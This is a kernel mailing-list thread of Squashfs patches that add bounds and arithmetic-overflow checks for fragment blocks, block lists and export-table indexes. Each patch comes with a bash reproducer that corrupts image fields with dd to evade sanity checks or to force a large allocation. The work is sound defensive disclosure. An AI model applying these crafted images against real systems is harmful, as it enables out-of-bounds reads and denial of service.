------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check fragment block location and range
Date: Wed, 11 Nov 2026 23:43:55 +0000
When reading fragment blocks from disk the location and range of the fragment block is not sanity checked before it is passed down to squashfs_read_data().
In squashfs_read_data() the block location and range are sanity checked to the extent that the location plus block length does not go beyond the end of the filesystem. But, a block location can be crafted to be close to 2^64, and so the addition of the location and the length can cause arthimetic overflow, and thereby evade the sanity check.
This evasion, however, will be caught when the code after the sanity check tries to read the block from the filesystem. This is because it is the block location that is passed to the I/O read, and not the result of the overflowed sanity check. This will return error because it will be beyond the end of the device.
The real issue here is that leaving the sanity checking of the fragment block location and range to squashfs_read_data() is sub-optimal. This is because a fragment cache buffer has to be obtained (with possible waits fop a free buffer, and then the eviction of the original cached contents) before squashfs_read_data() is called.
This adds unnecessary overhead and contention, which could be exploited to reduce performance, and this is for incorrect values that should have been detected earlier.
This commit adds extra sanity checking to ensure the fragment block location and range are within bounds before a free fragment block is obtained.
Reproducer
==========
The reproducer generates a Squashfs filesytem with a fragment block, and then corrupts the location of the fragment block to 2^64 - 32 KiB. If the exploit succeeds this corrupted value is paased to squaashfs_read_data() and it is not detected until the I/O read fails.
=====================================================================
ARGS="-quiet -no-progress -noI -noD -noF -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=32 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the location of fragment block 0"
echo "Alter it to the value 0xFFFFFFFFFFFF8000 (2^64 - 32 KiB)" echo "The block location is stored at byte offset 32958"
/usr/bin/echo -en "\x00\x80\xff\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=32958 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "dd: attempt to access beyond end of device"
echo " loop20: rw=2048, sector=36028797018963904, nr_sectors = 64 limit=72"
echo "SQUASHFS error: Failed to read block 0xffffffffffff8000: -5" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read page, block ffffffffffff8000, size 1008000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
=========================================================================
fs/squashfs/cache.c | 7 +++++-- fs/squashfs/file.c | 8 ++++++-- fs/squashfs/fragment.c | 5 +++-- fs/squashfs/inode.c | 12 ++++-------- fs/squashfs/squashfs.h | 3 ++- fs/squashfs/squashfs_helpers.h | 24 ++++++++++++++++++++++-- 6 files changed, 42 insertions(+), 17 deletions(-)
fs/squashfs/cache.c renamed from fs/squashfs/cache.c~squashfs-sanity-check-fragment-block-location-and-range +5 -2
@@ -490,9 +490,12 @@ struct squashfs_cache_entry *squashfs_ge u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; +int res =squashfs_check_range (start_block, length, msblk); -return squashfs_cache_get (sb, msblk->fragment_cache, start_block, - length); +if (res <0 ) +return ERR_PTR (res); + +return squashfs_cache_get (sb, msblk->fragment_cache, start_block, res); }
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-sanity-check-fragment-block-location-and-range +6 -2
@@ -443,7 +443,7 @@ static int squashfs_readpage_fragment(ststruct squashfs_cache_entry *buffer =squashfs_get_fragment (inode->i_sb,squashfs_i (inode)->fragment_block,squashfs_i (inode)->fragment_size); -int res = buffer->error; +int res =IS_ERR (buffer) ?PTR_ERR (buffer) : buffer->error;if (res) ERROR("Unable to read page, block %llx, size %x\n",
@@ -453,7 +453,8 @@ static int squashfs_readpage_fragment(stsquashfs_copy_cache (folio, buffer, expected,squashfs_i (inode)->fragment_offset); -squashfs_cache_put (buffer); +if (!IS_ERR (buffer)) +squashfs_cache_put (buffer);return res; }
@@ -519,6 +520,9 @@ static int squashfs_readahead_fragment(svoid *addr;struct page *last_page; +if (IS_ERR (buffer)) +return 1 ; +if (buffer->error) goto out;
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-sanity-check-fragment-block-location-and-range +3 -2
@@ -34,7 +34,7 @@* location of the fragment and its compressed size */ int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, -u64 *fragment_block) +u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block, offset, size;
@@ -54,7 +54,8 @@ int squashfs_frag_lookup(struct super_blreturn size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_frag_size (fragment_entry.size, msblk->block_size); + *fragment_size =le32_to_cpu (fragment_entry.size); +return 0 ; }
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-sanity-check-fragment-block-location-and-range +4 -8
@@ -158,11 +158,9 @@ int squashfs_read_inode(struct inode *in goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
@@ -215,11 +213,9 @@ int squashfs_read_inode(struct inode *in goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
fs/squashfs/squashfs.h renamed from fs/squashfs/squashfs.h~squashfs-sanity-check-fragment-block-location-and-range +2 -1
@@ -68,7 +68,8 @@ extern __le64 *squashfs_read_inode_looku unsigned int);/* fragment.c */ -extern int squashfs_frag_lookup (struct super_block *,unsigned int ,u64 *); +extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, +u64 *fragment_block,int *fragment_size);extern __le64 *squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int );
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-fragment-block-location-and-range +22 -2
@@ -227,9 +227,9 @@ static inline int squashfs_data_size(__lreturn squashfs_block_size (le32_to_cpu (raw), block_size); } -static inline int squashfs_frag_size (__le32 raw,s32 block_size) +static inline int squashfs_frag_size (u32 disk_size,s32 block_size) { -int size =squashfs_block_size (le32_to_cpu (raw), block_size); +int size =squashfs_block_size (disk_size, block_size);if (size <0 )return size;
@@ -239,5 +239,25 @@ static inline int squashfs_frag_size(__lreturn -EIO ; return size; +} + +static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +{ +int size =squashfs_frag_size (disk_size, msblk->block_size); + +if (size <0 ) +return size; + +if (start_block >= msblk->inode_table) +return -EIO ; + +/* +* the above check ensured start_block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (start_block +squashfs_compressed_size_block (size) > msblk->inode_table) +return -EIO ; + +return size; }#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 16/22 Squashfs: sanity check block list sizes and range
In reply to Phillip LougherA Squashfs file has a list of block sizes, storing the compressed size of each data block. This block list is scanned to discover the size and location of block x, where the sizes of previous data blocks are added to the start of the data blocks to produce the location.
But, when scanning this block list and adding the block sizes, the code does not check for arithmetic overflow. This means the data block start location can be crafted to be close to 2^64, and so the addition of the block sizes can cause arithmetic overflow and thereby evade any sanity checks.
Additionally, the range (start and end) of the data block that is to be read from the filesystem is not checked for correctness before squasfs_read_data().
This commit adds checks for arithmetic overflow and sanity checks the range of the data block before attempting to read from disk.
Reproducer
==========
The reproducer generates a Squashfs filesystem with a file with two data blocks, and then corrupts the location of the start of the data blocks to 2^64 - 128 KiB. This added to the size of data block 0 (128 KiB) will overflow, producing a location of 0. If the exploit succeeds, when the second block is read, Squashfs will not produce an I/O error and instead print the Squashfs filesystem superblock starting with hsqs.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -no-sparse -no-fragments -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create Squashfs filesystem with one file, with 2 data blocks" echo "Create a hard link to it, to force Mksquashfs to use an extended inode" echo "(more than one nlink). This means the start_block field will" echo "be 64-bits"
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=256 2>/dev/null" >> pseudo echo "hardlink L zero" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the start_block field of file zero's inode, which" echo "points to the start of the file's data blocks."
echo "Alter it to the value 0xFFFFFFFFFFFE0000 (2^64 - 128 KiB)." echo "That value added to the size of the first data block (128 KiB)" echo "will overflow"
echo "The inode start_block field is stored at byte offset 262258"
/usr/bin/echo -en "\x00\x00\xfe\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=262258 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dd will not fail, and it will display the Squashfs echo superblock, beginning with hsqs
echo
dd if=/mnt/zero bs=1024 skip=128
popd 2>&1> /dev/null
rm -rf $DIR
====================================================================
---
v2: Ensure sparse blocks at the end of the inode table do not trigger
new sanity checks.
--- fs/squashfs/cache.c | 2 +- fs/squashfs/file.c | 27 +++++++++++++++++++++------ fs/squashfs/squashfs_helpers.h | 20 +++++++++++++++++--- 3 files changed, 39 insertions(+), 10 deletions(-)
fs/squashfs/cache.c +1 -1
@@ -490,7 +490,7 @@ struct squashfs_cache_entry *squashfs_get_fragment(struct super_block *sb, u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int res =squashfs_check_range (start_block, length, msblk); +int res =squashfs_check_range (start_block,squashfs_frag_size (length, msblk->block_size), msblk);if (res <0 )return ERR_PTR (res);
fs/squashfs/file.c +21 -6
@@ -281,6 +281,9 @@ static s64 fill_meta_index(struct inode *inode, s64 index,long long res =read_indexes (inode->i_sb, blocks, &cur_index_block, &cur_offset); +if (res >=0 ) + res =squashfs_add_indexes (cur_data_block, res, msblk); +if (res <0 ) {if (meta->entries ==0 )/*
@@ -292,7 +295,7 @@ static s64 fill_meta_index(struct inode *inode, s64 index, goto failed; } - cur_data_block += res; + cur_data_block = res; meta_entry = &meta->meta_entry[i - meta->offset]; meta_entry->index_block = cur_index_block - msblk->inode_table;
@@ -353,8 +356,13 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, blks =read_indexes (inode->i_sb, index - res, start, offset);if (blks <0 )return (int ) blks; -if (block) - *block += blks; +if (block) { + res =squashfs_add_indexes (*block, blks, msblk); +if (res <0 ) +return (int ) res; + + *block = res; + } }/*
@@ -492,8 +500,11 @@ static int squashfs_read_folio(struct file *file, struct folio *folio)if (res ==0 ) res =squashfs_readpage_sparse (folio, expected); -else - res =squashfs_readpage_block (folio, block, res, expected); +else { + res =squashfs_check_range (block, res, msblk); +if (res >=0 ) + res =squashfs_readpage_block (folio, block, res, expected); + } }else res =squashfs_readpage_fragment (folio, expected);
@@ -629,7 +640,11 @@ static void squashfs_readahead(struct readahead_control *ractl) } bsize =read_blocklist (inode, start >> msblk->block_log, &block); -if (bsize ==0 ) +if (bsize <=0 ) + goto skip_pages; + + bsize =squashfs_check_range (block, bsize, msblk); +if (bsize <0 ) goto skip_pages; actor = squashfs_page_actor_init_special(msblk, pages, nr_pages,
fs/squashfs/squashfs_helpers.h +17 -3
@@ -241,10 +241,8 @@ static inline int squashfs_frag_size(u32 disk_size, s32 block_size)return size; } -static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +static inline int squashfs_check_range (u64 start_block,s32 size,struct squashfs_sb_info *msblk) { -int size =squashfs_frag_size (disk_size, msblk->block_size); -if (size <0 )return size;
@@ -260,4 +258,20 @@ static inline int squashfs_check_range(u64 start_block, s32 disk_size, struct sq return size; } + +static inline s64 squashfs_add_indexes (u64 block,s64 blks,struct squashfs_sb_info *msblk) +{ + +if (block >S64_MAX ) +return -EIO ; + +/* +* the above check ensured block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (block + blks > msblk->inode_table) +return -EIO ; + +return block + blks; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-sanity-check-block-list-sizes-and-range.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: sanity check block list sizes and range has been removed from the -mm tree. Its filename was squashfs-sanity-check-block-list-sizes-and-range.patch
The quilt patch titled
Subject: Squashfs: sanity check block list sizes and range
has been removed from the -mm tree. Its filename was
squashfs-sanity-check-block-list-sizes-and-range.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check block list sizes and range
Date: Wed, 11 Nov 2026 23:43:56 +0000
A Squashfs file has a list of block sizes, storing the compressed size of each data block. This block list is scanned to discover the size and location of block x, where the sizes of previous data blocks are added to the start of the data blocks to produce the location.
But, when scanning this block list and adding the block sizes, the code does not check for arithmetic overflow. This means the data block start location can be crafted to be close to 2^64, and so the addition of the block sizes can cause arithmetic overflow and thereby evade any sanity checks.
Additionally, the range (start and end) of the data block that is to be read from the filesystem is not checked for correctness before squasfs_read_data().
This commit adds checks for arithmetic overflow and sanity checks the range of the data block before attempting to read from disk.
Reproducer
==========
The reproducer generates a Squashfs filesystem with a file with two data blocks, and then corrupts the location of the start of the data blocks to 2^64 - 128 KiB. This added to the size of data block 0 (128 KiB) will overflow, producing a location of 0. If the exploit succeeds, when the second block is read, Squashfs will not produce an I/O error and instead print the Squashfs filesystem superblock starting with hsqs.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -no-sparse -no-fragments -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create Squashfs filesystem with one file, with 2 data blocks" echo "Create a hard link to it, to force Mksquashfs to use an extended inode" echo "(more than one nlink). This means the start_block field will" echo "be 64-bits"
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=256 2>/dev/null" >> pseudo echo "hardlink L zero" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the start_block field of file zero's inode, which" echo "points to the start of the file's data blocks."
echo "Alter it to the value 0xFFFFFFFFFFFE0000 (2^64 - 128 KiB)." echo "That value added to the size of the first data block (128 KiB)" echo "will overflow"
echo "The inode start_block field is stored at byte offset 262258"
/usr/bin/echo -en "\x00\x00\xfe\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=262258 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dd will not fail, and it will display the Squashfs echo superblock, beginning with hsqs
echo
dd if=/mnt/zero bs=1024 skip=128
popd 2>&1> /dev/null
rm -rf $DIR
====================================================================
fs/squashfs/cache.c | 2 +- fs/squashfs/file.c | 27 +++++++++++++++++++++------ fs/squashfs/squashfs_helpers.h | 20 +++++++++++++++++--- 3 files changed, 39 insertions(+), 10 deletions(-)
fs/squashfs/cache.c renamed from fs/squashfs/cache.c~squashfs-sanity-check-block-list-sizes-and-range +1 -1
@@ -490,7 +490,7 @@ struct squashfs_cache_entry *squashfs_ge u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int res =squashfs_check_range (start_block, length, msblk); +int res =squashfs_check_range (start_block,squashfs_frag_size (length, msblk->block_size), msblk);if (res <0 )return ERR_PTR (res);
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-sanity-check-block-list-sizes-and-range +21 -6
@@ -281,6 +281,9 @@ static s64 fill_meta_index(struct inodelong long res =read_indexes (inode->i_sb, blocks, &cur_index_block, &cur_offset); +if (res >=0 ) + res =squashfs_add_indexes (cur_data_block, res, msblk); +if (res <0 ) {if (meta->entries ==0 )/*
@@ -292,7 +295,7 @@ static s64 fill_meta_index(struct inode goto failed; } - cur_data_block += res; + cur_data_block = res; meta_entry = &meta->meta_entry[i - meta->offset]; meta_entry->index_block = cur_index_block - msblk->inode_table;
@@ -353,8 +356,13 @@ static int read_blocklist_ptrs(struct in blks =read_indexes (inode->i_sb, index - res, start, offset);if (blks <0 )return (int ) blks; -if (block) - *block += blks; +if (block) { + res =squashfs_add_indexes (*block, blks, msblk); +if (res <0 ) +return (int ) res; + + *block = res; + } }/*
@@ -492,8 +500,11 @@ static int squashfs_read_folio(struct fiif (res ==0 ) res =squashfs_readpage_sparse (folio, expected); -else - res =squashfs_readpage_block (folio, block, res, expected); +else { + res =squashfs_check_range (block, res, msblk); +if (res >=0 ) + res =squashfs_readpage_block (folio, block, res, expected); + } }else res =squashfs_readpage_fragment (folio, expected);
@@ -629,7 +640,11 @@ static void squashfs_readahead(struct re } bsize =read_blocklist (inode, start >> msblk->block_log, &block); -if (bsize ==0 ) +if (bsize <=0 ) + goto skip_pages; + + bsize =squashfs_check_range (block, bsize, msblk); +if (bsize <0 ) goto skip_pages; actor = squashfs_page_actor_init_special(msblk, pages, nr_pages,
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-block-list-sizes-and-range +17 -3
@@ -241,10 +241,8 @@ static inline int squashfs_frag_size(u32return size; } -static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +static inline int squashfs_check_range (u64 start_block,s32 size,struct squashfs_sb_info *msblk) { -int size =squashfs_frag_size (disk_size, msblk->block_size); -if (size <0 )return size;
@@ -260,4 +258,20 @@ static inline int squashfs_check_range(u return size; } + +static inline s64 squashfs_add_indexes (u64 block,s64 blks,struct squashfs_sb_info *msblk) +{ + +if (block >S64_MAX ) +return -EIO ; + +/* +* the above check ensured block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (block + blks > msblk->inode_table) +return -EIO ; + +return block + blks; +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 17/22 Squashfs: don't store large export table indexes in memory
In reply to Phillip LougherWhen mounting a Squashfs filesystem, the code reads the entire export table indexes into memory. Their size is determined by the number of inodes in the filesystem. For the maximum inode count of 2^32, this will allocate and read 32 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the export table indexes are 4 pages in size or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 540,540,568 inodes (540 million files). This will cause the export table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted. Due to the large amount of inodes the Squashfs filesystem reproducer needs to be run on a 64-bit machine with around 60 GiB of memory (or swap).
The latest development Mksquashfs from the GitHub Squashfs-tools repository also needs to be used.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "x/$a/$b/$c l a" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 27); do
sed "s/x/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem
echo
if ! mksquashfs - $IMG -pf pseudo -no-hardlinks -pd "d 0777 0 0" -no-recovery -no-progress -comp lz4; then
echo Appending to Squashfs filesystem failed
finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
---
v2:
- Widen offset in squashfs_inode_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger.
- Prevent squashfs_inode_lookup_start() from passing back an erroneous error value by checking lookup_table_start >= next_table in squashfs_read_inode_lookup_table().
--- fs/squashfs/export.c | 146 +++++++++++++++++++++++---------- fs/squashfs/squashfs.h | 3 +- fs/squashfs/squashfs_fs_sb.h | 8 +- fs/squashfs/squashfs_helpers.h | 28 ++++++- fs/squashfs/super.c | 36 +++++--- 5 files changed, 160 insertions(+), 60 deletions(-)
fs/squashfs/export.c +100 -45
@@ -34,24 +34,64 @@#include "squashfs_helpers.h" #include "squashfs.h" +s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num) +{ +struct squashfs_sb_info *msblk = sb->s_fs_info; +s64 start; +int err; + +if (msblk->lookup_table_is_cache) { +s32 length =squashfs_lookup_blocks_bytes (msblk->inodes); +s32 base =squashfs_lookup_blocks_base (ino_num -1 ); +s32 offset =squashfs_lookup_blocks_offset (ino_num -1 ); +s32 avail =min_t (int, length - base,PAGE_SIZE ); +struct squashfs_cache_entry *entry; + + start =squashfs_lookup_blocks_start (ino_num -1 , msblk); +if (start <0 ) +return start; + + entry =squashfs_cache_get (sb, msblk->inode_lookup_cache, start, + avail |SQUASHFS_COMPRESSED_BIT_BLOCK ); +if (entry->error <0 ) { + err = entry->error; +squashfs_cache_put (entry); +return err; + } + + start =le64_to_cpu (((__le64 *)entry->data[0 ])[offset >>3 ]); +squashfs_cache_put (entry); + }else { +s32 blk =squashfs_lookup_block (ino_num -1 ); + + start =le64_to_cpu (msblk->inode_lookup_array[blk]); + } + +if (start < msblk->lookup_table_start || start >= msblk->lookup_table) +return -EIO ; + +return start; +} +/* * Look-up inode number (ino) in table, returning the inode location. */ -static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) +static long long squashfs_inode_lookup (struct super_block *sb,u32 ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =squashfs_lookup_block (ino_num -1 ); -int offset =squashfs_lookup_block_offset (ino_num -1 ); -u64 start; +s32 offset =squashfs_lookup_block_offset (ino_num -1 ); +s64 start;__le64 ino;int err; -TRACE ("Entered squashfs_inode_lookup, inode_number = %d\n" , ino_num); +TRACE ("Entered squashfs_inode_lookup, inode_number = %u\n" , ino_num);if (ino_num ==0 || (ino_num -1 ) >= msblk->inodes)return -EINVAL ; - start =le64_to_cpu (msblk->inode_lookup_table[blk]); + start =squashfs_inode_lookup_start (sb, ino_num); +if (start <0 ) +return start; err =squashfs_read_metadata (sb, &ino, &start, &offset,sizeof (ino));if (err <0 )
@@ -113,14 +153,11 @@ static struct dentry *squashfs_get_parent(struct dentry *child)/* * Read uncompressed inode lookup table indexes off disk into memory */ -__le64 *squashfs_read_inode_lookup_table (struct super_block *sb, +int squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =squashfs_lookup_block_bytes (inodes); -unsigned int indexes =squashfs_lookup_blocks (inodes); -int n; -__le64 *table; -u64 start, end; +struct squashfs_sb_info *msblk = sb->s_fs_info; +s32 length =squashfs_lookup_blocks_bytes (inodes);TRACE ("In read_inode_lookup_table, length %d\n" , length);
@@ -128,51 +165,69 @@ __le64 *squashfs_read_inode_lookup_table(struct super_block *sb,/* there should always be at least one inode */ if (inodes ==0 ) -return ERR_PTR (-EINVAL ); +return -EIO ;/* * The computed size of the lookup table (length bytes) should exactly * match the table start and end points */ -if (length != (next_table - lookup_table_start)) -return ERR_PTR (-EINVAL ); - - table =squashfs_read_table (sb, lookup_table_start, length); -if (IS_ERR (table)) -return table; +if (lookup_table_start >= next_table || + length != (next_table - lookup_table_start)) +return -EIO ; + +if (length <= (PAGE_SIZE *4 )) { +/* Read lookup table index into memory */ +s32 indexes =squashfs_lookup_blocks (inodes); +__le64 *array; +u64 start, end; +int n; + + array =squashfs_read_table (sb, lookup_table_start, length); +if (IS_ERR (array)) +return PTR_ERR (array); + +/* +* array0], array[1], ... array[indexes - 1] store the locations +* of the compressed inode lookup blocks. Each entry should be +* less than the next (i.e. array[0] < array[1]), and the difference +* between them should be SQUASHFS_METADATA_SIZE or less. +* array[indexes - 1] should be less than lookup_array_start, and +* again the difference should be SQUASHFS_METADATA_SIZE or less +*/ +for (n =0 ; n < (indexes -1 ); n++) { + start =le64_to_cpu (array[n]); + end =le64_to_cpu (array[n +1 ]); + +if (start >= end || (end - start) > (SQUASHFS_METADATA_SIZE + +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; + } + } -/* -* table0], table[1], ... table[indexes - 1] store the locations -* of the compressed inode lookup blocks. Each entry should be -* less than the next (i.e. table[0] < table[1]), and the difference -* between them should be SQUASHFS_METADATA_SIZE or less. -* table[indexes - 1] should be less than lookup_table_start, and -* again the difference should be SQUASHFS_METADATA_SIZE or less -*/ -for (n =0 ; n < (indexes -1 ); n++) { - start =le64_to_cpu (table[n]); - end =le64_to_cpu (table[n +1 ]); - -if (start >= end - || (end - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + start =le64_to_cpu (array[indexes -1 ]); +if (start >= lookup_table_start || (lookup_table_start - start) > + (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { +kfree (array); +return -EIO ; } - } - start =le64_to_cpu (table[indexes -1 ]); -if (start >= lookup_table_start || - (lookup_table_start - start) > - (SQUASHFS_METADATA_SIZE +SQUASHFS_BLOCK_OFFSET )) { -kfree (table); -return ERR_PTR (-EINVAL ); + msblk->inode_lookup_array = array; + msblk->lookup_table_is_cache = false; + }else { +/* Use a cache to store the last 4 pages of indexes read */ +struct squashfs_cache *cache =squashfs_cache_init ("inode index" ,4 ,PAGE_SIZE ); + +if (IS_ERR (cache)) +return PTR_ERR (cache); + + msblk->inode_lookup_cache = cache; + msblk->lookup_table_is_cache = true; } -return table; +return 0 ; } -const struct export_operations squashfs_export_ops = { .encode_fh = generic_encode_ino32_fh, .fh_to_dentry = squashfs_fh_to_dentry,
fs/squashfs/squashfs.h +2 -1
@@ -64,8 +64,9 @@ extern const struct squashfs_decompressor_thread_ops squashfs_decompressor_percp#endif /* export.c */ -extern __le64 *squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 , +extern int squashfs_read_inode_lookup_table (struct super_block *,u64 ,u64 ,unsigned int ); +extern s64 squashfs_inode_lookup_start (struct super_block *sb,u32 ino_num);/* fragment.c */ extern int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
fs/squashfs/squashfs_fs_sb.h +7 -1
@@ -64,11 +64,16 @@ struct squashfs_sb_info {struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream; -__le64 *inode_lookup_table; +union { +__le64 *inode_lookup_array; +struct squashfs_cache *inode_lookup_cache; + };u64 inode_table;u64 directory_table;u64 directory_table_end;u64 xattr_table; +u64 lookup_table; +u64 lookup_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -79,5 +84,6 @@ struct squashfs_sb_info {bool panic_on_errors;const struct squashfs_decompressor_thread_ops *thread_ops;int max_thread_num; + bool lookup_table_is_cache; };#endif
fs/squashfs/squashfs_helpers.h +27 -1
